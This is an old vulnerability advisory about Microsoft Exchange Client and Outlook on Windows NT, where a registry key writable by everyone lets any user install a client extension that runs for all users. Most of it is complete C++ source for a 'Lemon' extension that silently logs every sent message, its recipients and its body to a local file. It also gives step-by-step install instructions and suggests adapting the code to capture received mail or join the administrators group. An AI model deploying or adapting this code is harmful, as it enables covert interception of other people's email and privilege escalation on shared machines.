COMMAND
MS Exchange Server and Outlook
SYSTEMS AFFECTED
Win NT
PROBLEM
Martin Stanek posted following. Almost everywhere, people are
using Exchange Client or Outlook to manage their e-mail messages.
It possible for everybody to add an extension to this program.
Extensions are called in various contexts: sending, receiving or
viewing messages, beginning of the session, etc... Once
registered, it's valid (active) for everyone, who use Outlook or
Exchange Client on affected computer. The extension is not limited
only to e-mail specific tasks - but it can do everything what
it want - and: with permissions of current user.
Extensions are registered in Registry in subkey:
HKLM\SOFTWARE\Microsoft\Exchange\Client\Extensions\
This key has Special Access for Everyone:
Query value
Set value
Create Subkey
Enumerate Subkeys
Notify
Delete
Read Control
Experimental source code for "stealing" e-mail messages follows.
See text below also!
LEMON.H:
/////////////////////////////////////////////////////////////////////
//
// Header file for Lemon Extension
//
// Martin Stanek (c) 1997
/////////////////////////////////////////////////////////////////////
#include <WINDOWS.H>
#include <COMMCTRL.H>
#include <MAPIX.H>
#include <MAPIUTIL.H>
#include <MAPIFORM.H>
#include <EXCHEXT.H>
extern "C"
{
LPEXCHEXT CALLBACK ExchEntryPoint(void);
}
/////////////////////////////////////////////////////////////////////
// Class declaration
//
class MSSMExt;
class MSSMMsgEvents;
class MSSMExt : public IExchExt
{
public:
MSSMExt();
STDMETHODIMP QueryInterface(REFIID riid, LPVOID *ppvObj);
inline STDMETHODIMP_(ULONG) AddRef() { ++m_cRef; return m_cRef; };
inline STDMETHODIMP_(ULONG) Release() {
ULONG ulCount = --m_cRef;
if (!ulCount) {
delete this;
}
return ulCount;
};
STDMETHODIMP Install (LPEXCHEXTCALLBACK pmecb, ULONG mecontext, ULONG ulFlags);
private:
ULONG m_cRef;
UINT m_context;
MSSMMsgEvents *m_pMSSMMsgEvents;
};
class MSSMMsgEvents : public IExchExtMessageEvents
{
public:
MSSMMsgEvents (LPUNKNOWN pParentInterface) {
m_pExchExt = pParentInterface;
m_cRef = 0;
m_bInSubmitState = FALSE;
};
STDMETHODIMP QueryInterface(REFIID riid, LPVOID *ppvObj);
inline STDMETHODIMP_(ULONG) AddRef() { ++m_cRef; return m_cRef; };
inline STDMETHODIMP_(ULONG) Release() {
ULONG ulCount = --m_cRef;
if (!ulCount) { delete this; }
return ulCount;
};
STDMETHODIMP OnRead(LPEXCHEXTCALLBACK lpeecb);
STDMETHODIMP OnReadComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags);
STDMETHODIMP OnWrite(LPEXCHEXTCALLBACK lpeecb);
STDMETHODIMP OnWriteComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags);
STDMETHODIMP OnCheckNames(LPEXCHEXTCALLBACK lpeecb);
STDMETHODIMP OnCheckNamesComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags);
STDMETHODIMP OnSubmit(LPEXCHEXTCALLBACK lpeecb);
STDMETHODIMP_ (VOID)OnSubmitComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags);
private:
ULONG m_cRef;
HRESULT m_hrOnReadComplete;
BOOL m_bInSubmitState;
LPUNKNOWN m_pExchExt;
};
LEMON.DEF:
LIBRARY LEMON
DESCRIPTION 'Lemon Extension for Exchange'
CODE SHARED READ EXECUTE
DATA SHARED READ WRITE
EXPORTS
ExchEntryPoint @1
LEMON.CPP:
/////////////////////////////////////////////////////////////////////
//
// Lemon Extension
//
// Martin Stanek (c) 1997
//
/////////////////////////////////////////////////////////////////////
#define INITGUID
#define USES_IID_IExchExt
#define USES_IID_IExchExtMessageEvents
#define USES_IID_IMessage
#define USES_PS_MAPI
#define USES_PS_PUBLIC_STRINGS
#include "lemon.h"
#include "stdio.h"
#include "time.h"
#include <MAPIGUID.H>
char fname[]="c:\\temp\\mail.txt"; // complete name of the file for "stealed" mail
FILE *fout;
static HINSTANCE ghInstDLL = NULL;
///////////////////////////////////////
// DLL Initialization
///////////////////////////////////////
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (DLL_PROCESS_ATTACH == fdwReason) {
ghInstDLL = hinstDLL;
}
return TRUE;
}
///////////////////////////////////////
// Called by Exchange when it starts
///////////////////////////////////////
LPEXCHEXT CALLBACK ExchEntryPoint(void)
{
return new MSSMExt;
}
/////////////////////////////////////////////////////////////////////
// MSSMExt::MSSMExt
/////////////////////////////////////////////////////////////////////
MSSMExt::MSSMExt()
{
m_cRef = 1;
m_pMSSMMsgEvents = new MSSMMsgEvents(this);
};
///////////////////////////////////////
// MSSMExt::QueryInterface
///////////////////////////////////////
STDMETHODIMP MSSMExt::QueryInterface(REFIID riid, LPVOID FAR * ppvObj)
{
HRESULT hResult = S_OK;
*ppvObj = NULL;
if ((IID_IUnknown == riid) || (IID_IExchExt == riid))
*ppvObj = (LPUNKNOWN)this;
else if (IID_IExchExtMessageEvents == riid)
*ppvObj = (LPUNKNOWN) m_pMSSMMsgEvents;
else
hResult = E_NOINTERFACE;
if (NULL != *ppvObj) ((LPUNKNOWN)*ppvObj)->AddRef();
return hResult;
}
///////////////////////////////////////
// MSSMExt::Install
///////////////////////////////////////
STDMETHODIMP MSSMExt::Install(LPEXCHEXTCALLBACK peecb, ULONG eecontext, ULONG ulFlags)
{
ULONG ulBuildVersion;
HRESULT hr;
m_context = eecontext;
peecb->GetVersion(&ulBuildVersion, EECBGV_GETBUILDVERSION);
if (EECBGV_BUILDVERSION_MAJOR != (ulBuildVersion &
EECBGV_BUILDVERSION_MAJOR_MASK)) {
return S_FALSE;
}
switch (eecontext)
{
case EECONTEXT_SENDNOTEMESSAGE:
case EECONTEXT_SENDPOSTMESSAGE:
case EECONTEXT_SENDRESENDMESSAGE:
hr = S_OK;
break;
default:
hr = S_FALSE;
break;
}
return hr;
}
/////////////////////////////////////////////////////////////////////
// Implementacia metod MSSMMsgEvents
/////////////////////////////////////////////////////////////////////
///////////////////////////////////////
// MSSMMsgEvents::QueryInterface
///////////////////////////////////////
STDMETHODIMP MSSMMsgEvents::QueryInterface(REFIID riid, LPVOID FAR * ppvObj)
{
*ppvObj = NULL;
if (riid == IID_IExchExtMessageEvents)
{
*ppvObj = (LPVOID)this;
AddRef();
return S_OK;
}
if (riid == IID_IUnknown)
{
*ppvObj = (LPVOID) m_pExchExt; // return parent interface
m_pExchExt->AddRef();
return S_OK;
}
return E_NOINTERFACE;
}
///////////////////////////////////////
// MSSMMsgEvents::OnRead
///////////////////////////////////////
STDMETHODIMP MSSMMsgEvents::OnRead(LPEXCHEXTCALLBACK lpeecb)
{
return S_FALSE;
}
///////////////////////////////////////
// MSSMMsgEvents::OnReadComplete
///////////////////////////////////////
STDMETHODIMP MSSMMsgEvents::OnReadComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
{
return S_FALSE;
}
///////////////////////////////////////
// MSSMMsgEvents::OnWrite
///////////////////////////////////////
STDMETHODIMP MSSMMsgEvents::OnWrite(LPEXCHEXTCALLBACK lpeecb)
{
return S_FALSE;
}
///////////////////////////////////////
// MSSMMsgEvents::OnWriteComplete
///////////////////////////////////////
STDMETHODIMP MSSMMsgEvents::OnWriteComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
{
// this method is called after all message properties are written
// at this moment you can do everythig you want with sended message
HRESULT hr;
LPADRLIST FAR lpal = NULL;
ULONG i,j;
LPSPropValue lpprop;
LPMDB FAR lpmdb = NULL;
LPMAPIPROP FAR lpmp = NULL;
time_t ltime;
IMessage *pmsg = NULL;
LPUNKNOWN FAR lpUnk = NULL;
IStream *pstr = NULL;
STATSTG stat;
DWORD velkost, q;
LARGE_INTEGER nula = {0L, 0L};
char z;
// open file fname[] for append
if ((fout = fopen(fname,"a+t")) == NULL) {
return S_FALSE;
}
// get time and date
time(<ime);
fprintf(fout,"%s",ctime(<ime));
// get list of all recipients
hr = lpeecb->GetRecipients(&lpal);
if (hr != S_OK) {
goto error_return;
}
if (lpal->cEntries == 0) {
goto error_return;
}
fprintf(fout,"Recipients:\n");
for (i=0; i<lpal->cEntries; i++) {
lpprop = lpal->aEntries[i].rgPropVals;
for (j=0; j<lpal->aEntries[i].cValues; j++) {
if (lpprop[j].ulPropTag == PR_DISPLAY_NAME) {
fprintf(fout,"%s ", (LPSTR) lpprop[j].Value.lpszA);
}
if (lpprop[j].ulPropTag == PR_EMAIL_ADDRESS) {
fprintf(fout,"(%s) ", (LPSTR) lpprop[j].Value.lpszA);
}
}
fprintf(fout,"\n");
}
// get message body
fprintf(fout,"Message body:\n");
hr = lpeecb->GetObject(&lpmdb, &lpmp);
if (hr != S_OK) {
goto error_return;
}
pmsg = (IMessage *) lpmp;
hr = pmsg->OpenProperty(PR_BODY, (LPCIID) &IID_IStream, 0, MAPI_MODIFY, &lpUnk);
if (hr != S_OK) {
goto error_return;
}
pstr = (IStream *) lpUnk;
hr = pstr->Stat(&stat, STATFLAG_NONAME);
if (hr != S_OK) {
goto error_return;
}
velkost = stat.cbSize.LowPart;
hr = pstr->Seek(nula, STREAM_SEEK_SET, NULL); // seek to begin
if (hr != S_OK) {
goto error_return;
}
for (q=0; q<velkost; q++) { // ... and write
if (pstr->Read(&z, 1, NULL) == S_OK) {
fprintf(fout,"%c",z);
}
}
// delimiter to the end
fprintf(fout,"\n-------------------------------------\n");
error_return:
fclose(fout);
return S_FALSE;
}
///////////////////////////////////////
// MSSMMsgEvents::OnCheckNames
///////////////////////////////////////
STDMETHODIMP MSSMMsgEvents::OnCheckNames(LPEXCHEXTCALLBACK lpeecb)
{
return S_FALSE;
}
///////////////////////////////////////
// MSSMMsgEvents::OnCheckNamesComplete
///////////////////////////////////////
STDMETHODIMP MSSMMsgEvents::OnCheckNamesComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
{
return S_FALSE;
}
///////////////////////////////////////
// MSSMMsgEvents::OnSubmit
///////////////////////////////////////
STDMETHODIMP MSSMMsgEvents::OnSubmit(LPEXCHEXTCALLBACK lpeecb)
{
return S_FALSE;
}
///////////////////////////////////////
// MSSMMsgEvents::OnSubmitComplete
///////////////////////////////////////
STDMETHODIMP_ (VOID) MSSMMsgEvents::OnSubmitComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
{
return;
}
This extension was created only for experimental purposes. Notice,
in many circumstances, stealing mail is illegal.
After installing (see later), it saves every message sent from
affected machine to file (default setting in source code is
C:\temp\mail.txt). It includes time and also all recipients of
this message.
How to install lemon?
1. (Modify and) Compile source code --> lemmon.dll - bad
experiences with Release version compiled with MS VC++ 5.0
- global optimization flag. Debug versions are more stable.
2. Place lemmon.dll somewhere, where everybody can read it
(temp directory, system32 directory, etc...)
3. Add string with name "lemon" (or whatever you want) with
value (2nd argument is full path to lemon.dll):
4.0;C:\temp\lemon.dll;1;00000101001000;0001000
to Registry at this place:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Exchange\Client\Extensions
4. May be, you will have to logout.
You can take this sample code and modify it not only to save
every sent message, but: save every received message, do
EVERYTHING you want with permission of current user (read/modify
his files, if is he member of administrator group -> add yourself
also to this group, etc...).
All this work, because everybody (user which is logged on machine)
has permission to add (install into Registry) extension for
Outlook or Exchange Client. It is OK. BUT! This extension is
valid (activated in registered contexts) for every user which use
this machine.
SOLUTION
Nothinh yet.